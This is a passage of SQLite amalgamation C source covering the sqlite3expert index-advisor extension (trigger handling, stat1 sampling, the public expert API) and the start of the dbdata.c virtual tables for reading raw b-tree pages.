if( pTab ){
IdxWrite *pWrite;
for(pWrite=p->pWrite; pWrite; pWrite=pWrite->pNext){
if( pWrite->pTab==pTab && pWrite->eOp==eOp ) break;
}
if( pWrite==0 ){
pWrite = idxMalloc(&rc, sizeof(IdxWrite));
if( rc==SQLITE_OK ){
pWrite->pTab = pTab;
pWrite->eOp = eOp;
pWrite->pNext = p->pWrite;
p->pWrite = pWrite;
}
}
}
}
}
return rc;
}
static int idxProcessOneTrigger(
sqlite3expert *p,
IdxWrite *pWrite,
char **pzErr
){
static const char *zInt = UNIQUE_TABLE_NAME;
static const char *zDrop = "DROP TABLE " UNIQUE_TABLE_NAME;
IdxTable *pTab = pWrite->pTab;
const char *zTab = pTab->zName;
const char *zSql =
"SELECT 'CREATE TEMP' || substr(sql, 7) FROM sqlite_schema "
"WHERE tbl_name = %Q AND type IN ('table', 'trigger') "
"ORDER BY type;";
sqlite3_stmt *pSelect = 0;
int rc = SQLITE_OK;
char *zWrite = 0;
/* Create the table and its triggers in the temp schema */
rc = idxPrintfPrepareStmt(p->db, &pSelect, pzErr, zSql, zTab, zTab);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pSelect) ){
const char *zCreate = (const char*)sqlite3_column_text(pSelect, 0);
rc = sqlite3_exec(p->dbv, zCreate, 0, 0, pzErr);
}
idxFinalize(&rc, pSelect);
/* Rename the table in the temp schema to zInt */
if( rc==SQLITE_OK ){
char *z = sqlite3_mprintf("ALTER TABLE temp.%Q RENAME TO %Q", zTab, zInt);
if( z==0 ){
rc = SQLITE_NOMEM;
}else{
rc = sqlite3_exec(p->dbv, z, 0, 0, pzErr);
sqlite3_free(z);
}
}
switch( pWrite->eOp ){
case SQLITE_INSERT: {
int i;
zWrite = idxAppendText(&rc, zWrite, "INSERT INTO %Q VALUES(", zInt);
for(i=0; i<pTab->nCol; i++){
zWrite = idxAppendText(&rc, zWrite, "%s?", i==0 ? "" : ", ");
}
zWrite = idxAppendText(&rc, zWrite, ")");
break;
}
case SQLITE_UPDATE: {
int i;
zWrite = idxAppendText(&rc, zWrite, "UPDATE %Q SET ", zInt);
for(i=0; i<pTab->nCol; i++){
zWrite = idxAppendText(&rc, zWrite, "%s%Q=?", i==0 ? "" : ", ",
pTab->aCol[i].zName
);
}
break;
}
default: {
assert( pWrite->eOp==SQLITE_DELETE );
if( rc==SQLITE_OK ){
zWrite = sqlite3_mprintf("DELETE FROM %Q", zInt);
if( zWrite==0 ) rc = SQLITE_NOMEM;
}
}
}
if( rc==SQLITE_OK ){
sqlite3_stmt *pX = 0;
rc = sqlite3_prepare_v2(p->dbv, zWrite, -1, &pX, 0);
idxFinalize(&rc, pX);
if( rc!=SQLITE_OK ){
idxDatabaseError(p->dbv, pzErr);
}
}
sqlite3_free(zWrite);
if( rc==SQLITE_OK ){
rc = sqlite3_exec(p->dbv, zDrop, 0, 0, pzErr);
}
return rc;
}
static int idxProcessTriggers(sqlite3expert *p, char **pzErr){
int rc = SQLITE_OK;
IdxWrite *pEnd = 0;
IdxWrite *pFirst = p->pWrite;
while( rc==SQLITE_OK && pFirst!=pEnd ){
IdxWrite *pIter;
for(pIter=pFirst; rc==SQLITE_OK && pIter!=pEnd; pIter=pIter->pNext){
rc = idxProcessOneTrigger(p, pIter, pzErr);
}
pEnd = pFirst;
pFirst = p->pWrite;
}
return rc;
}
static int idxCreateVtabSchema(sqlite3expert *p, char **pzErrmsg){
int rc = idxRegisterVtab(p);
sqlite3_stmt *pSchema = 0;
/* For each table in the main db schema:
**
** 1) Add an entry to the p->pTable list, and
** 2) Create the equivalent virtual table in dbv.
*/
rc = idxPrepareStmt(p->db, &pSchema, pzErrmsg,
"SELECT type, name, sql, 1 FROM sqlite_schema "
"WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%%' "
" UNION ALL "
"SELECT type, name, sql, 2 FROM sqlite_schema "
"WHERE type = 'trigger'"
" AND tbl_name IN(SELECT name FROM sqlite_schema WHERE type = 'view') "
"ORDER BY 4, 1"
);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pSchema) ){
const char *zType = (const char*)sqlite3_column_text(pSchema, 0);
const char *zName = (const char*)sqlite3_column_text(pSchema, 1);
const char *zSql = (const char*)sqlite3_column_text(pSchema, 2);
if( zType[0]=='v' || zType[1]=='r' ){
rc = sqlite3_exec(p->dbv, zSql, 0, 0, pzErrmsg);
}else{
IdxTable *pTab;
rc = idxGetTableInfo(p->db, zName, &pTab, pzErrmsg);
if( rc==SQLITE_OK ){
int i;
char *zInner = 0;
char *zOuter = 0;
pTab->pNext = p->pTable;
p->pTable = pTab;
/* The statement the vtab will pass to sqlite3_declare_vtab() */
zInner = idxAppendText(&rc, 0, "CREATE TABLE x(");
for(i=0; i<pTab->nCol; i++){
zInner = idxAppendText(&rc, zInner, "%s%Q COLLATE %s",
(i==0 ? "" : ", "), pTab->aCol[i].zName, pTab->aCol[i].zColl
);
}
zInner = idxAppendText(&rc, zInner, ")");
/* The CVT statement to create the vtab */
zOuter = idxAppendText(&rc, 0,
"CREATE VIRTUAL TABLE %Q USING expert(%Q)", zName, zInner
);
if( rc==SQLITE_OK ){
rc = sqlite3_exec(p->dbv, zOuter, 0, 0, pzErrmsg);
}
sqlite3_free(zInner);
sqlite3_free(zOuter);
}
}
}
idxFinalize(&rc, pSchema);
return rc;
}
struct IdxSampleCtx {
int iTarget;
double target; /* Target nRet/nRow value */
double nRow; /* Number of rows seen */
double nRet; /* Number of rows returned */
};
static void idxSampleFunc(
sqlite3_context *pCtx,
int argc,
sqlite3_value **argv
){
struct IdxSampleCtx *p = (struct IdxSampleCtx*)sqlite3_user_data(pCtx);
int bRet;
(void)argv;
assert( argc==0 );
if( p->nRow==0.0 ){
bRet = 1;
}else{
bRet = (p->nRet / p->nRow) <= p->target;
if( bRet==0 ){
unsigned short rnd;
sqlite3_randomness(2, (void*)&rnd);
bRet = ((int)rnd % 100) <= p->iTarget;
}
}
sqlite3_result_int(pCtx, bRet);
p->nRow += 1.0;
p->nRet += (double)bRet;
}
struct IdxRemCtx {
int nSlot;
struct IdxRemSlot {
int eType; /* SQLITE_NULL, INTEGER, REAL, TEXT, BLOB */
i64 iVal; /* SQLITE_INTEGER value */
double rVal; /* SQLITE_FLOAT value */
int nByte; /* Bytes of space allocated at z */
int n; /* Size of buffer z */
char *z; /* SQLITE_TEXT/BLOB value */
} aSlot[1];
};
/*
** Implementation of scalar function rem().
*/
static void idxRemFunc(
sqlite3_context *pCtx,
int argc,
sqlite3_value **argv
){
struct IdxRemCtx *p = (struct IdxRemCtx*)sqlite3_user_data(pCtx);
struct IdxRemSlot *pSlot;
int iSlot;
assert( argc==2 );
iSlot = sqlite3_value_int(argv[0]);
assert( iSlot<=p->nSlot );
pSlot = &p->aSlot[iSlot];
switch( pSlot->eType ){
case SQLITE_NULL:
/* no-op */
break;
case SQLITE_INTEGER:
sqlite3_result_int64(pCtx, pSlot->iVal);
break;
case SQLITE_FLOAT:
sqlite3_result_double(pCtx, pSlot->rVal);
break;
case SQLITE_BLOB:
sqlite3_result_blob(pCtx, pSlot->z, pSlot->n, SQLITE_TRANSIENT);
break;
case SQLITE_TEXT:
sqlite3_result_text(pCtx, pSlot->z, pSlot->n, SQLITE_TRANSIENT);
break;
}
pSlot->eType = sqlite3_value_type(argv[1]);
switch( pSlot->eType ){
case SQLITE_NULL:
/* no-op */
break;
case SQLITE_INTEGER:
pSlot->iVal = sqlite3_value_int64(argv[1]);
break;
case SQLITE_FLOAT:
pSlot->rVal = sqlite3_value_double(argv[1]);
break;
case SQLITE_BLOB:
case SQLITE_TEXT: {
int nByte = sqlite3_value_bytes(argv[1]);
if( nByte>pSlot->nByte ){
char *zNew = (char*)sqlite3_realloc(pSlot->z, nByte*2);
if( zNew==0 ){
sqlite3_result_error_nomem(pCtx);
return;
}
pSlot->nByte = nByte*2;
pSlot->z = zNew;
}
pSlot->n = nByte;
if( pSlot->eType==SQLITE_BLOB ){
memcpy(pSlot->z, sqlite3_value_blob(argv[1]), nByte);
}else{
memcpy(pSlot->z, sqlite3_value_text(argv[1]), nByte);
}
break;
}
}
}
static int idxLargestIndex(sqlite3 *db, int *pnMax, char **pzErr){
int rc = SQLITE_OK;
const char *zMax =
"SELECT max(i.seqno) FROM "
" sqlite_schema AS s, "
" pragma_index_list(s.name) AS l, "
" pragma_index_info(l.name) AS i "
"WHERE s.type = 'table'";
sqlite3_stmt *pMax = 0;
*pnMax = 0;
rc = idxPrepareStmt(db, &pMax, pzErr, zMax);
if( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pMax) ){
*pnMax = sqlite3_column_int(pMax, 0) + 1;
}
idxFinalize(&rc, pMax);
return rc;
}
static int idxPopulateOneStat1(
sqlite3expert *p,
sqlite3_stmt *pIndexXInfo,
sqlite3_stmt *pWriteStat,
const char *zTab,
const char *zIdx,
char **pzErr
){
char *zCols = 0;
char *zOrder = 0;
char *zQuery = 0;
int nCol = 0;
int i;
sqlite3_stmt *pQuery = 0;
int *aStat = 0;
int rc = SQLITE_OK;
assert( p->iSample>0 );
/* Formulate the query text */
sqlite3_bind_text(pIndexXInfo, 1, zIdx, -1, SQLITE_STATIC);
while( SQLITE_OK==rc && SQLITE_ROW==sqlite3_step(pIndexXInfo) ){
const char *zComma = zCols==0 ? "" : ", ";
const char *zName = (const char*)sqlite3_column_text(pIndexXInfo, 0);
const char *zColl = (const char*)sqlite3_column_text(pIndexXInfo, 1);
zCols = idxAppendText(&rc, zCols,
"%sx.%Q IS rem(%d, x.%Q) COLLATE %s", zComma, zName, nCol, zName, zColl
);
zOrder = idxAppendText(&rc, zOrder, "%s%d", zComma, ++nCol);
}
sqlite3_reset(pIndexXInfo);
if( rc==SQLITE_OK ){
if( p->iSample==100 ){
zQuery = sqlite3_mprintf(
"SELECT %s FROM %Q x ORDER BY %s", zCols, zTab, zOrder
);
}else{
zQuery = sqlite3_mprintf(
"SELECT %s FROM temp."UNIQUE_TABLE_NAME" x ORDER BY %s", zCols, zOrder
);
}
}
sqlite3_free(zCols);
sqlite3_free(zOrder);
/* Formulate the query text */
if( rc==SQLITE_OK ){
sqlite3 *dbrem = (p->iSample==100 ? p->db : p->dbv);
rc = idxPrepareStmt(dbrem, &pQuery, pzErr, zQuery);
}
sqlite3_free(zQuery);
if( rc==SQLITE_OK ){
aStat = (int*)idxMalloc(&rc, sizeof(int)*(nCol+1));
}
if( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pQuery) ){
IdxHashEntry *pEntry;
char *zStat = 0;
for(i=0; i<=nCol; i++) aStat[i] = 1;
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pQuery) ){
aStat[0]++;
for(i=0; i<nCol; i++){
if( sqlite3_column_int(pQuery, i)==0 ) break;
}
for(/*no-op*/; i<nCol; i++){
aStat[i+1]++;
}
}
if( rc==SQLITE_OK ){
int s0 = aStat[0];
zStat = sqlite3_mprintf("%d", s0);
if( zStat==0 ) rc = SQLITE_NOMEM;
for(i=1; rc==SQLITE_OK && i<=nCol; i++){
zStat = idxAppendText(&rc, zStat, " %d", (s0+aStat[i]/2) / aStat[i]);
}
}
if( rc==SQLITE_OK ){
sqlite3_bind_text(pWriteStat, 1, zTab, -1, SQLITE_STATIC);
sqlite3_bind_text(pWriteStat, 2, zIdx, -1, SQLITE_STATIC);
sqlite3_bind_text(pWriteStat, 3, zStat, -1, SQLITE_STATIC);
sqlite3_step(pWriteStat);
rc = sqlite3_reset(pWriteStat);
}
pEntry = idxHashFind(&p->hIdx, zIdx, STRLEN(zIdx));
if( pEntry ){
assert( pEntry->zVal2==0 );
pEntry->zVal2 = zStat;
}else{
sqlite3_free(zStat);
}
}
sqlite3_free(aStat);
idxFinalize(&rc, pQuery);
return rc;
}
static int idxBuildSampleTable(sqlite3expert *p, const char *zTab){
int rc;
char *zSql;
rc = sqlite3_exec(p->dbv,"DROP TABLE IF EXISTS temp."UNIQUE_TABLE_NAME,0,0,0);
if( rc!=SQLITE_OK ) return rc;
zSql = sqlite3_mprintf(
"CREATE TABLE temp." UNIQUE_TABLE_NAME " AS SELECT * FROM %Q", zTab
);
if( zSql==0 ) return SQLITE_NOMEM;
rc = sqlite3_exec(p->dbv, zSql, 0, 0, 0);
sqlite3_free(zSql);
return rc;
}
/*
** This function is called as part of sqlite3_expert_analyze(). Candidate
** indexes have already been created in database sqlite3expert.dbm, this
** function populates sqlite_stat1 table in the same database.
**
** The stat1 data is generated by querying the
*/
static int idxPopulateStat1(sqlite3expert *p, char **pzErr){
int rc = SQLITE_OK;
int nMax =0;
struct IdxRemCtx *pCtx = 0;
struct IdxSampleCtx samplectx;
int i;
i64 iPrev = -100000;
sqlite3_stmt *pAllIndex = 0;
sqlite3_stmt *pIndexXInfo = 0;
sqlite3_stmt *pWrite = 0;
const char *zAllIndex =
"SELECT s.rowid, s.name, l.name FROM "
" sqlite_schema AS s, "
" pragma_index_list(s.name) AS l "
"WHERE s.type = 'table'";
const char *zIndexXInfo =
"SELECT name, coll FROM pragma_index_xinfo(?) WHERE key";
const char *zWrite = "INSERT INTO sqlite_stat1 VALUES(?, ?, ?)";
/* If iSample==0, no sqlite_stat1 data is required. */
if( p->iSample==0 ) return SQLITE_OK;
rc = idxLargestIndex(p->dbm, &nMax, pzErr);
if( nMax<=0 || rc!=SQLITE_OK ) return rc;
rc = sqlite3_exec(p->dbm, "ANALYZE; PRAGMA writable_schema=1", 0, 0, 0);
if( rc==SQLITE_OK ){
int nByte = sizeof(struct IdxRemCtx) + (sizeof(struct IdxRemSlot) * nMax);
pCtx = (struct IdxRemCtx*)idxMalloc(&rc, nByte);
}
if( rc==SQLITE_OK ){
sqlite3 *dbrem = (p->iSample==100 ? p->db : p->dbv);
rc = sqlite3_create_function(
dbrem, "rem", 2, SQLITE_UTF8, (void*)pCtx, idxRemFunc, 0, 0
);
}
if( rc==SQLITE_OK ){
rc = sqlite3_create_function(
p->db, "sample", 0, SQLITE_UTF8, (void*)&samplectx, idxSampleFunc, 0, 0
);
}
if( rc==SQLITE_OK ){
pCtx->nSlot = nMax+1;
rc = idxPrepareStmt(p->dbm, &pAllIndex, pzErr, zAllIndex);
}
if( rc==SQLITE_OK ){
rc = idxPrepareStmt(p->dbm, &pIndexXInfo, pzErr, zIndexXInfo);
}
if( rc==SQLITE_OK ){
rc = idxPrepareStmt(p->dbm, &pWrite, pzErr, zWrite);
}
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pAllIndex) ){
i64 iRowid = sqlite3_column_int64(pAllIndex, 0);
const char *zTab = (const char*)sqlite3_column_text(pAllIndex, 1);
const char *zIdx = (const char*)sqlite3_column_text(pAllIndex, 2);
if( p->iSample<100 && iPrev!=iRowid ){
samplectx.target = (double)p->iSample / 100.0;
samplectx.iTarget = p->iSample;
samplectx.nRow = 0.0;
samplectx.nRet = 0.0;
rc = idxBuildSampleTable(p, zTab);
if( rc!=SQLITE_OK ) break;
}
rc = idxPopulateOneStat1(p, pIndexXInfo, pWrite, zTab, zIdx, pzErr);
iPrev = iRowid;
}
if( rc==SQLITE_OK && p->iSample<100 ){
rc = sqlite3_exec(p->dbv,
"DROP TABLE IF EXISTS temp." UNIQUE_TABLE_NAME, 0,0,0
);
}
idxFinalize(&rc, pAllIndex);
idxFinalize(&rc, pIndexXInfo);
idxFinalize(&rc, pWrite);
if( pCtx ){
for(i=0; i<pCtx->nSlot; i++){
sqlite3_free(pCtx->aSlot[i].z);
}
sqlite3_free(pCtx);
}
if( rc==SQLITE_OK ){
rc = sqlite3_exec(p->dbm, "ANALYZE sqlite_schema", 0, 0, 0);
}
sqlite3_exec(p->db, "DROP TABLE IF EXISTS temp."UNIQUE_TABLE_NAME,0,0,0);
return rc;
}
/*
** Allocate a new sqlite3expert object.
*/
sqlite3expert *sqlite3_expert_new(sqlite3 *db, char **pzErrmsg){
int rc = SQLITE_OK;
sqlite3expert *pNew;
pNew = (sqlite3expert*)idxMalloc(&rc, sizeof(sqlite3expert));
/* Open two in-memory databases to work with. The "vtab database" (dbv)
** will contain a virtual table corresponding to each real table in
** the user database schema, and a copy of each view. It is used to
** collect information regarding the WHERE, ORDER BY and other clauses
** of the user's query.
*/
if( rc==SQLITE_OK ){
pNew->db = db;
pNew->iSample = 100;
rc = sqlite3_open(":memory:", &pNew->dbv);
}
if( rc==SQLITE_OK ){
rc = sqlite3_open(":memory:", &pNew->dbm);
if( rc==SQLITE_OK ){
sqlite3_db_config(pNew->dbm, SQLITE_DBCONFIG_TRIGGER_EQP, 1, (int*)0);
}
}
/* Copy the entire schema of database [db] into [dbm]. */
if( rc==SQLITE_OK ){
sqlite3_stmt *pSql;
rc = idxPrintfPrepareStmt(pNew->db, &pSql, pzErrmsg,
"SELECT sql FROM sqlite_schema WHERE name NOT LIKE 'sqlite_%%'"
" AND sql NOT LIKE 'CREATE VIRTUAL %%'"
);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(pSql) ){
const char *zSql = (const char*)sqlite3_column_text(pSql, 0);
rc = sqlite3_exec(pNew->dbm, zSql, 0, 0, pzErrmsg);
}
idxFinalize(&rc, pSql);
}
/* Create the vtab schema */
if( rc==SQLITE_OK ){
rc = idxCreateVtabSchema(pNew, pzErrmsg);
}
/* Register the auth callback with dbv */
if( rc==SQLITE_OK ){
sqlite3_set_authorizer(pNew->dbv, idxAuthCallback, (void*)pNew);
}
/* If an error has occurred, free the new object and reutrn NULL. Otherwise,
** return the new sqlite3expert handle. */
if( rc!=SQLITE_OK ){
sqlite3_expert_destroy(pNew);
pNew = 0;
}
return pNew;
}
/*
** Configure an sqlite3expert object.
*/
int sqlite3_expert_config(sqlite3expert *p, int op, ...){
int rc = SQLITE_OK;
va_list ap;
va_start(ap, op);
switch( op ){
case EXPERT_CONFIG_SAMPLE: {
int iVal = va_arg(ap, int);
if( iVal<0 ) iVal = 0;
if( iVal>100 ) iVal = 100;
p->iSample = iVal;
break;
}
default:
rc = SQLITE_NOTFOUND;
break;
}
va_end(ap);
return rc;
}
/*
** Add an SQL statement to the analysis.
*/
int sqlite3_expert_sql(
sqlite3expert *p, /* From sqlite3_expert_new() */
const char *zSql, /* SQL statement to add */
char **pzErr /* OUT: Error message (if any) */
){
IdxScan *pScanOrig = p->pScan;
IdxStatement *pStmtOrig = p->pStatement;
int rc = SQLITE_OK;
const char *zStmt = zSql;
if( p->bRun ) return SQLITE_MISUSE;
while( rc==SQLITE_OK && zStmt && zStmt[0] ){
sqlite3_stmt *pStmt = 0;
rc = sqlite3_prepare_v2(p->dbv, zStmt, -1, &pStmt, &zStmt);
if( rc==SQLITE_OK ){
if( pStmt ){
IdxStatement *pNew;
const char *z = sqlite3_sql(pStmt);
int n = STRLEN(z);
pNew = (IdxStatement*)idxMalloc(&rc, sizeof(IdxStatement) + n+1);
if( rc==SQLITE_OK ){
pNew->zSql = (char*)&pNew[1];
memcpy(pNew->zSql, z, n+1);
pNew->pNext = p->pStatement;
if( p->pStatement ) pNew->iId = p->pStatement->iId+1;
p->pStatement = pNew;
}
sqlite3_finalize(pStmt);
}
}else{
idxDatabaseError(p->dbv, pzErr);
}
}
if( rc!=SQLITE_OK ){
idxScanFree(p->pScan, pScanOrig);
idxStatementFree(p->pStatement, pStmtOrig);
p->pScan = pScanOrig;
p->pStatement = pStmtOrig;
}
return rc;
}
int sqlite3_expert_analyze(sqlite3expert *p, char **pzErr){
int rc;
IdxHashEntry *pEntry;
/* Do trigger processing to collect any extra IdxScan structures */
rc = idxProcessTriggers(p, pzErr);
/* Create candidate indexes within the in-memory database file */
if( rc==SQLITE_OK ){
rc = idxCreateCandidates(p);
}
/* Generate the stat1 data */
if( rc==SQLITE_OK ){
rc = idxPopulateStat1(p, pzErr);
}
/* Formulate the EXPERT_REPORT_CANDIDATES text */
for(pEntry=p->hIdx.pFirst; pEntry; pEntry=pEntry->pNext){
p->zCandidates = idxAppendText(&rc, p->zCandidates,
"%s;%s%s\n", pEntry->zVal,
pEntry->zVal2 ? " -- stat1: " : "", pEntry->zVal2
);
}
/* Figure out which of the candidate indexes are preferred by the query
** planner and report the results to the user. */
if( rc==SQLITE_OK ){
rc = idxFindIndexes(p, pzErr);
}
if( rc==SQLITE_OK ){
p->bRun = 1;
}
return rc;
}
/*
** Return the total number of statements that have been added to this
** sqlite3expert using sqlite3_expert_sql().
*/
int sqlite3_expert_count(sqlite3expert *p){
int nRet = 0;
if( p->pStatement ) nRet = p->pStatement->iId+1;
return nRet;
}
/*
** Return a component of the report.
*/
const char *sqlite3_expert_report(sqlite3expert *p, int iStmt, int eReport){
const char *zRet = 0;
IdxStatement *pStmt;
if( p->bRun==0 ) return 0;
for(pStmt=p->pStatement; pStmt && pStmt->iId!=iStmt; pStmt=pStmt->pNext);
switch( eReport ){
case EXPERT_REPORT_SQL:
if( pStmt ) zRet = pStmt->zSql;
break;
case EXPERT_REPORT_INDEXES:
if( pStmt ) zRet = pStmt->zIdx;
break;
case EXPERT_REPORT_PLAN:
if( pStmt ) zRet = pStmt->zEQP;
break;
case EXPERT_REPORT_CANDIDATES:
zRet = p->zCandidates;
break;
}
return zRet;
}
/*
** Free an sqlite3expert object.
*/
void sqlite3_expert_destroy(sqlite3expert *p){
if( p ){
sqlite3_close(p->dbm);
sqlite3_close(p->dbv);
idxScanFree(p->pScan, 0);
idxStatementFree(p->pStatement, 0);
idxTableFree(p->pTable);
idxWriteFree(p->pWrite);
idxHashClear(&p->hIdx);
sqlite3_free(p->zCandidates);
sqlite3_free(p);
}
}
#endif /* ifndef SQLITE_OMIT_VIRTUALTABLE */
/************************* End ../ext/expert/sqlite3expert.c ********************/
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_ENABLE_DBPAGE_VTAB)
/************************* Begin ../ext/misc/dbdata.c ******************/
/*
** 2019-04-17
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** This file contains an implementation of two eponymous virtual tables,
** "sqlite_dbdata" and "sqlite_dbptr". Both modules require that the
** "sqlite_dbpage" eponymous virtual table be available.
**
** SQLITE_DBDATA:
** sqlite_dbdata is used to extract data directly from a database b-tree
** page and its associated overflow pages, bypassing the b-tree layer.
** The table schema is equivalent to:
**
** CREATE TABLE sqlite_dbdata(
** pgno INTEGER,
** cell INTEGER,
** field INTEGER,
** value ANY,
** schema TEXT HIDDEN
** );
**
** IMPORTANT: THE VIRTUAL TABLE SCHEMA ABOVE IS SUBJECT TO CHANGE. IN THE
** FUTURE NEW NON-HIDDEN COLUMNS MAY BE ADDED BETWEEN "value" AND
** "schema".
**
** Each page of the database is inspected. If it cannot be interpreted as
** a b-tree page, or if it is a b-tree page containing 0 entries, the
** sqlite_dbdata table contains no rows for that page. Otherwise, the
** table contains one row for each field in the record associated with
** each cell on the page. For intkey b-trees, the key value is stored in
** field -1.
**
** For example, for the database:
**
** CREATE TABLE t1(a, b); -- root page is page 2
** INSERT INTO t1(rowid, a, b) VALUES(5, 'v', 'five');
** INSERT INTO t1(rowid, a, b) VALUES(10, 'x', 'ten');
**
** the sqlite_dbdata table contains, as well as from entries related to
** page 1, content equivalent to:
**
** INSERT INTO sqlite_dbdata(pgno, cell, field, value) VALUES
** (2, 0, -1, 5 ),
** (2, 0, 0, 'v' ),
** (2, 0, 1, 'five'),
** (2, 1, -1, 10 ),
** (2, 1, 0, 'x' ),
** (2, 1, 1, 'ten' );
**
** If database corruption is encountered, this module does not report an
** error. Instead, it attempts to extract as much data as possible and
** ignores the corruption.
**
** SQLITE_DBPTR:
** The sqlite_dbptr table has the following schema:
**
** CREATE TABLE sqlite_dbptr(
** pgno INTEGER,
** child INTEGER,
** schema TEXT HIDDEN
** );
**
** It contains one entry for each b-tree pointer between a parent and
** child page in the database.
*/
#if !defined(SQLITEINT_H)
/* #include "sqlite3ext.h" */
/* typedef unsigned char u8; */
#endif
SQLITE_EXTENSION_INIT1
#include <string.h>
#include <assert.h>
#define DBDATA_PADDING_BYTES 100
typedef struct DbdataTable DbdataTable;
typedef struct DbdataCursor DbdataCursor;
/* Cursor object */
struct DbdataCursor {
sqlite3_vtab_cursor base; /* Base class. Must be first */
sqlite3_stmt *pStmt; /* For fetching database pages */
int iPgno; /* Current page number */
u8 *aPage; /* Buffer containing page */
int nPage; /* Size of aPage[] in bytes */
int nCell; /* Number of cells on aPage[] */
int iCell; /* Current cell number */
int bOnePage; /* True to stop after one page */
int szDb;
sqlite3_int64 iRowid;
/* Only for the sqlite_dbdata table */
u8 *pRec; /* Buffer containing current record */
int nRec; /* Size of pRec[] in bytes */
int nHdr; /* Size of header in bytes */
int iField; /* Current field number */
u8 *pHdrPtr;
u8 *pPtr;
sqlite3_int64 iIntkey; /* Integer key value */
};
/* Table object */
struct DbdataTable {
sqlite3_vtab base; /* Base class. Must be first */
sqlite3 *db; /* The database connection */
sqlite3_stmt *pStmt; /* For fetching database pages */
int bPtr; /* True for sqlite3_dbptr table */
};
/* Column and schema definitions for sqlite_dbdata */
#define DBDATA_COLUMN_PGNO 0
#define DBDATA_COLUMN_CELL 1
#define DBDATA_COLUMN_FIELD 2
#define DBDATA_COLUMN_VALUE 3
#define DBDATA_COLUMN_SCHEMA 4
#define DBDATA_SCHEMA \
"CREATE TABLE x(" \
" pgno INTEGER," \
" cell INTEGER," \
" field INTEGER," \
" value ANY," \
" schema TEXT HIDDEN" \
")"
/* Column and schema definitions for sqlite_dbptr */
#define DBPTR_COLUMN_PGNO 0
#define DBPTR_COLUMN_CHILD 1
#define DBPTR_COLUMN_SCHEMA 2
#define DBPTR_SCHEMA \
"CREATE TABLE x(" \
" pgno INTEGER," \
" child INTEGER," \
" schema TEXT HIDDEN" \
")"
/*
** Connect to an sqlite_dbdata (pAux==0) or sqlite_dbptr (pAux!=0) virtual
** table.
*/
static int dbdataConnect(
sqlite3 *db,
void *pAux,
int argc, const char *const*argv,
sqlite3_vtab **ppVtab,
char **pzErr
){
DbdataTable *pTab = 0;
int rc = sqlite3_declare_vtab(db, pAux ? DBPTR_SCHEMA : DBDATA_SCHEMA);
if( rc==SQLITE_OK ){
pTab = (DbdataTable*)sqlite3_malloc64(sizeof(DbdataTable));
if( pTab==0 ){
rc = SQLITE_NOMEM;
}else{
memset(pTab, 0, sizeof(DbdataTable));
pTab->db = db;
pTab->bPtr = (pAux!=0);
}
}
*ppVtab = (sqlite3_vtab*)pTab;
return rc;
}
/*
** Disconnect from or destroy a sqlite_dbdata or sqlite_dbptr virtual table.
*/
static int dbdataDisconnect(sqlite3_vtab *pVtab){
DbdataTable *pTab = (DbdataTable*)pVtab;
if( pTab ){
sqlite3_finalize(pTab->pStmt);
sqlite3_free(pVtab);
}
return SQLITE_OK;
}
/*
** This function interprets two types of constraints:
**
** schema=?
** pgno=?
**
** If neither are present, idxNum is set to 0. If schema=? is present,
** the 0x01 bit in idxNum is set. If pgno=? is present, the 0x02 bit
** in idxNum is set.
**
** If both parameters are present, schema is in position 0 and pgno in
** position 1.
*/
static int dbdataBestIndex(sqlite3_vtab *tab, sqlite3_index_info *pIdx){
DbdataTable *pTab = (DbdataTable*)tab;
int i;
int iSchema = -1;
int iPgno = -1;
int colSchema = (pTab->bPtr ? DBPTR_COLUMN_SCHEMA : DBDATA_COLUMN_SCHEMA);
for(i=0; i<pIdx->nConstraint; i++){
struct sqlite3_index_constraint *p = &pIdx->aConstraint[i];
if( p->op==SQLITE_INDEX_CONSTRAINT_EQ ){
if( p->iColumn==colSchema ){
if( p->usable==0 ) return SQLITE_CONSTRAINT;
iSchema = i;
}
if( p->iColumn==DBDATA_COLUMN_PGNO && p->usable ){
iPgno = i;
}
}
}
if( iSchema>=0 ){
pIdx->aConstraintUsage[iSchema].argvIndex = 1;
pIdx->aConstraintUsage[iSchema].omit = 1;
}
if( iPgno>=0 ){
pIdx->aConstraintUsage[iPgno].argvIndex = 1 + (iSchema>=0);
pIdx->aConstraintUsage[iPgno].omit = 1;
pIdx->estimatedCost = 100;
pIdx->estimatedRows = 50;
if( pTab->bPtr==0 && pIdx->nOrderBy && pIdx->aOrderBy[0].desc==0 ){
int iCol = pIdx->aOrderBy[0].iColumn;
if( pIdx->nOrderBy==1 ){
pIdx->orderByConsumed = (iCol==0 || iCol==1);
}else if( pIdx->nOrderBy==2 && pIdx->aOrderBy[1].desc==0 && iCol==0 ){
pIdx->orderByConsumed = (pIdx->aOrderBy[1].iColumn==1);
}
}
}else{
pIdx->estimatedCost = 100000000;
pIdx->estimatedRows = 1000000000;
}
pIdx->idxNum = (iSchema>=0 ? 0x01 : 0x00) | (iPgno>=0 ? 0x02 : 0x00);
return SQLITE_OK;
}
/*
** Open a new sqlite_dbdata or sqlite_dbptr cursor.
*/
static int dbdataOpen(sqlite3_vtab *pVTab, sqlite3_vtab_cursor **ppCursor){
DbdataCursor *pCsr;
pCsr = (DbdataCursor*)sqlite3_malloc64(sizeof(DbdataCursor));
if( pCsr==0 ){
return SQLITE_NOMEM;
}else{
memset(pCsr, 0, sizeof(DbdataCursor));
pCsr->base.pVtab = pVTab;
}
*ppCursor = (sqlite3_vtab_cursor *)pCsr;
return SQLITE_OK;
}
/*
** Restore a cursor object to the state it was in when first allocated
** by dbdataOpen().
*/
static void dbdataResetCursor(DbdataCursor *pCsr){
DbdataTable *pTab = (DbdataTable*)(pCsr->base.pVtab);
if( pTab->pStmt==0 ){
pTab->pStmt = pCsr->pStmt;
}else{
sqlite3_finalize(pCsr->pStmt);
}
pCsr->pStmt = 0;
pCsr->iPgno = 1;
pCsr->iCell = 0;
pCsr->iField = 0;
pCsr->bOnePage = 0;
sqlite3_free(pCsr->aPage);
